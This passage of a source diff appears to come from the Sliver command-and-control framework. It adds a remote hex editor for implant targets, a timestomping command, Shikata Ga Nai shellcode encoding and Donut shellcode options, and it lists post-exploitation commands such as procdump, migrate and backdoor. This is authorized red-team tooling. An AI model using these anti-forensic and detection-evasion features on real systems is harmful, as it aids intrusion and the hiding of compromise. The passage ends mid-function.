OEP: donutOEP,
}, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
+116 -32
View File
@@ -47,38 +47,44 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -193,6 +199,18 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
When generating Windows shellcode (--format shellcode), you can tune Donut:
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
--donut-oep <uint32> # Override original entry point (0=default)
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
@@ -298,9 +316,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
Default (datetime): "2006-01-02 15:04:05"
--unix: 1704067200
--unix-ms: 1704067200000
--rfc3339: 2024-01-01T00:00:00Z
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
[[.Bold]][[.Underline]]Examples[[.Normal]]
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
chtimes --unix /tmp/file 1704112496 1704112556
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
`
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +433,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
generate --format shellcode
`
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
like architecture, iterations, and bad characters.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode x64 shellcode with 3 iterations:
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
Avoid bad chars and write to a file:
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
List encoders and supported architectures:
shellcode-encoders
`
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode a single file with shikata_ga_nai:
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
Encode multiple files and write outputs to a directory:
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
Avoid bad characters with SGN:
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
`
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
+37
View File
@@ -0,0 +1,37 @@
package hexedit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the hex-edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
hexEditCmd := &cobra.Command{
Use: consts.HexEditStr + " <remote path>",
Short: "Hex edit a remote file",
Long: help.GetHelpFor([]string{consts.HexEditStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
HexEditCmd(cmd, con, args)
},
}
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(hexEditCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to hex edit"),
)
return []*cobra.Command{hexEditCmd}
}
+713
View File
@@ -0,0 +1,713 @@
package hexedit
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type editorMode int
const (
modeNormal editorMode = iota
modeHexEdit
modeASCIIEdit
modeCommand
)
type exitAction int
const (
actionNone exitAction = iota
actionQuit
actionSaveQuit
)
const bytesPerLine = 16
type editorResult struct {
Data []byte
Modified bool
Action exitAction
Force bool
}
type editorModel struct {
data []byte
original []byte
modified []bool
modifiedCount int
cursor int
top int
width int
height int
mode editorMode
command string
commandPrefix rune
pending rune
dirty bool
forceQuit bool
action exitAction
filename string
message string
clearMessage bool
nibbleSet bool
nibbleValue byte
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
data: copyData,
original: append([]byte(nil), data...),
modified: make([]bool, len(copyData)),
mode: modeNormal,
filename: filename,
commandPrefix: ':',
}
if offset > 0 && offset < len(copyData) {
model.cursor = offset
}
return model
}
func (m *editorModel) Init() tea.Cmd {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
return nil
}
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
case modeHexEdit:
return m.handleHexEdit(msg)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
default:
return m.handleNormal(msg)
}
}
return m, nil
}
func (m *editorModel) View() string {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
textHeight := m.textHeight()
var b strings.Builder
for i := 0; i < textHeight; i++ {
lineIndex := m.top + i
b.WriteString(m.renderLine(lineIndex))
if i < textHeight-1 {
b.WriteByte('\n')
}
}
if m.height < 2 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
if m.height < 3 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
}
func (m *editorModel) result() editorResult {
data := append([]byte(nil), m.data...)
return editorResult{
Data: data,
Modified: m.dirty,
Action: m.action,
Force: m.forceQuit,
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
m.commandPrefix = ':'
case tea.KeyEnter:
m.executeCommand(strings.TrimSpace(m.command))
m.command = ""
m.mode = modeNormal
m.commandPrefix = ':'
if m.action != actionNone {
return m, tea.Quit
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
case tea.KeyBackspace:
if m.nibbleSet {
m.nibbleSet = false
return m, nil
}
m.moveLeft()
case tea.KeyLeft:
m.moveLeft()
m.nibbleSet = false
case tea.KeyRight:
m.moveRight()
m.nibbleSet = false
case tea.KeyUp:
m.moveUp()
m.nibbleSet = false
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
val, ok := hexNibble(r)
if !ok {
continue
}
if !m.nibbleSet {
m.nibbleValue = val << 4
m.nibbleSet = true
continue
}
m.setByte(m.nibbleValue | val)
m.nibbleSet = false
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if r < 0 || r > 0xFF {
continue
}
m.setByte(byte(r))
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if m.handleNormalRune(r) {
break
}
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormalRune(r rune) bool {
if m.pending != 0 {
handled := true
switch m.pending {
case 'g':
if r == 'g' {
m.gotoTop()
} else {
handled = false
}
default:
handled = false
}
m.pending = 0
if handled {
return true
}
}
switch r {
case 'h':
m.moveLeft()
case 'j':
m.moveDown()
case 'k':
m.moveUp()
case 'l':
m.moveRight()
case '0':
m.moveLineStart()
case '$':
m.moveLineEnd()
case 'i':
m.mode = modeHexEdit
m.nibbleSet = false
case 'a':
m.mode = modeASCIIEdit
case 'x':
m.setByte(0x00)
case 'g':
m.pending = 'g'
case 'G':
m.gotoBottom()
case ':':
m.mode = modeCommand
m.command = ""
m.commandPrefix = ':'
}
return false
}
func (m *editorModel) executeCommand(cmd string) {
if cmd == "" {
return
}
if isNumericOffset(cmd) {
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
m.gotoOffset(int(value))
return
}
}
switch strings.ToLower(cmd) {
case "q":
m.action = actionQuit
case "q!":
m.action = actionQuit
m.forceQuit = true
case "wq", "x":
m.action = actionSaveQuit
case "w":
m.message = "Use :wq to upload and exit"
m.clearMessage = true
default:
m.message = fmt.Sprintf("Unknown command: %s", cmd)
m.clearMessage = true
}
}
func (m *editorModel) renderLine(lineIndex int) string {
totalWidth := m.textWidth()
if totalWidth <= 0 {
return ""
}
if lineIndex >= m.totalLines() {
return lineStyle.Width(totalWidth).Render("~")
}
lineStart := lineIndex * bytesPerLine
hexCells := make([]string, bytesPerLine)
asciiCells := make([]string, bytesPerLine)
for i := 0; i < bytesPerLine; i++ {
idx := lineStart + i
if idx >= len(m.data) {
hexCells[i] = " "
asciiCells[i] = " "
continue
}
byteVal := m.data[idx]
hexRaw := fmt.Sprintf("%02x", byteVal)
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
}
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
asciiCells[i] = asciiRaw
}
var b strings.Builder
b.WriteString(fmt.Sprintf("%08x", lineStart))
b.WriteString(": ")
for i := 0; i < bytesPerLine; i++ {
if i == 8 {
b.WriteByte(' ')
}
b.WriteString(hexCells[i])
if i < bytesPerLine-1 {
b.WriteByte(' ')
}
}
b.WriteString(" |")
for i := 0; i < bytesPerLine; i++ {
b.WriteString(asciiCells[i])
}
b.WriteString("|")
return lineStyle.Width(totalWidth).Render(b.String())
}
func (m *editorModel) statusLine() string {
mode := "NORMAL"
switch m.mode {
case modeHexEdit:
mode = "HEX"
case modeASCIIEdit:
mode = "ASCII"
case modeCommand:
mode = "COMMAND"
}
fileName := baseName(m.filename)
if fileName == "" {
fileName = "[No Name]"
}
modified := ""
if m.dirty {
modified = " [+]"
}
cursor := m.cursor
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
}
func (m *editorModel) commandLine() string {
if m.mode == modeCommand {
return ":" + m.command
}
if m.message != "" {
return m.message
}
switch m.mode {
case modeHexEdit:
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
case modeASCIIEdit:
return "ESC: normal type to edit bytes :wq save+quit :q quit"
default:
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
}
}
func (m *editorModel) textHeight() int {
if m.height <= 2 {
return 1
}
return m.height - 2
}
func (m *editorModel) textWidth() int {
if m.width <= 0 {
return 1
}
return m.width
}
func (m *editorModel) totalLines() int {
if len(m.data) == 0 {
return 1
}
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
}
func (m *editorModel) ensureCursorVisible() {
if len(m.data) == 0 {
m.cursor = 0
m.top = 0
return
}
if m.cursor < 0 {
m.cursor = 0
}
if m.cursor >= len(m.data) {
m.cursor = len(m.data) - 1
}
line := m.cursor / bytesPerLine
height := m.textHeight()
if line < m.top {
m.top = line
} else if line >= m.top+height {
m.top = line - height + 1
}
if m.top < 0 {
m.top = 0
}
maxTop := m.totalLines() - height
if maxTop < 0 {
maxTop = 0
}
if m.top > maxTop {
m.top = maxTop
}
}
func (m *editorModel) moveLeft() {
if len(m.data) == 0 {
return
}
if m.cursor > 0 {
m.cursor--
}
}
func (m *editorModel) moveRight() {
if len(m.data) == 0 {
return
}
if m.cursor < len(m.data)-1 {
m.cursor++
}
}
func (m *editorModel) moveUp() {
if len(m.data) == 0 {
return
}
if m.cursor >= bytesPerLine {
m.cursor -= bytesPerLine
}
}
func (m *editorModel) moveDown() {
if len(m.data) == 0 {
return
}
if m.cursor+bytesPerLine < len(m.data) {
m.cursor += bytesPerLine
}
}
func (m *editorModel) moveLineStart() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
m.cursor = line * bytesPerLine
}
func (m *editorModel) moveLineEnd() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
end := (line+1)*bytesPerLine - 1
if end >= len(m.data) {
end = len(m.data) - 1
}
m.cursor = end
}
func (m *editorModel) gotoTop() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = 0
}
func (m *editorModel) gotoBottom() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = len(m.data) - 1
}
func (m *editorModel) gotoOffset(offset int) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if offset < 0 || offset >= len(m.data) {
m.message = fmt.Sprintf("Offset out of range: %d", offset)
m.clearMessage = true
return
}
m.cursor = offset
m.ensureCursorVisible()
}
func (m *editorModel) setByte(value byte) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
return
}
wasModified := m.modified[m.cursor]
orig := m.original[m.cursor]
m.data[m.cursor] = value
if value == orig {
if wasModified {
m.modified[m.cursor] = false
if m.modifiedCount > 0 {
m.modifiedCount--
}
}
} else if !wasModified {
m.modified[m.cursor] = true
m.modifiedCount++
}
m.dirty = m.modifiedCount > 0
}
func printableByte(b byte) byte {
if b >= 32 && b <= 126 {
return b
}
return '.'
}
func (m *editorModel) isModified(idx int) bool {
if idx < 0 || idx >= len(m.modified) {
return false
}
return m.modified[idx]
}
func hexChar(n byte) byte {
if n < 10 {
return '0' + n
}
return 'a' + (n - 10)
}
func hexNibble(r rune) (byte, bool) {
switch {
case r >= '0' && r <= '9':
return byte(r - '0'), true
case r >= 'a' && r <= 'f':
return byte(r-'a') + 10, true
case r >= 'A' && r <= 'F':
return byte(r-'A') + 10, true
}
return 0, false
}
func isNumericOffset(value string) bool {
value = strings.TrimSpace(value)
if value == "" {
return false
}
if strings.HasPrefix(strings.ToLower(value), "0x") {
_, err := strconv.ParseInt(value, 0, 64)
return err == nil
}
for _, r := range value {
if r < '0' || r > '9' {
return false
}
}
return true
}
func popRune(value string) string {
runes := []rune(value)
if len(runes) == 0 {
return value
}
return string(runes[:len(runes)-1])
}
func baseName(path string) string {
if path == "" {
return ""
}
clean := strings.ReplaceAll(path, "\\", "/")
if idx := strings.LastIndex(clean, "/"); idx != -1 {
return clean[idx+1:]
}
return path
}
+349
View File
@@ -0,0 +1,349 @@
package hexedit
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const (
beaconPollInterval = 1 * time.Second
)
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
maxSizeStr, _ := cmd.Flags().GetString("max-size")
maxSize, err := parseByteSize(maxSizeStr)
if err != nil {
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
return
}
if maxSize <= 0 {
con.PrintErrorf("--max-size must be greater than zero\n")
return
}
offset, _ := cmd.Flags().GetInt64("offset")
if offset < 0 {
con.PrintErrorf("--offset must be zero or positive\n")
return
}
fetchSize := maxSize + 1
if fetchSize < maxSize {
fetchSize = maxSize
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if int64(len(data)) > maxSize {
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
return
}
if offset > 0 {
if len(data) == 0 {
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
return
}
if offset >= int64(len(data)) {
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
return
}
}
path := download.Path
if path == "" {
path = remotePath
}
for {
result, err := runHexEditor(data, path, int(offset))
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
data = result.Data
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
if err := uploadEditedContent(cmd, con, path, data); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
MaxBytes: maxBytes,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func parseByteSize(input string) (int64, error) {
value := strings.TrimSpace(input)
if value == "" {
return 0, fmt.Errorf("size is required")
}
value = strings.ReplaceAll(value, " ", "")
value = strings.ToUpper(value)
idx := 0
for idx < len(value) {
c := value[idx]
if (c >= '0' && c <= '9') || c == '.' {
idx++
continue
}
break
}
if idx == 0 {
return 0, fmt.Errorf("invalid size %q", input)
}
numStr := value[:idx]
unitStr := strings.TrimSpace(value[idx:])
if unitStr == "" {
unitStr = "B"
}
multiplier := int64(1)
switch unitStr {
case "B":
multiplier = 1
case "K", "KB", "KIB":
multiplier = 1024
case "M", "MB", "MIB":
multiplier = 1024 * 1024
case "G", "GB", "GIB":
multiplier = 1024 * 1024 * 1024
case "T", "TB", "TIB":
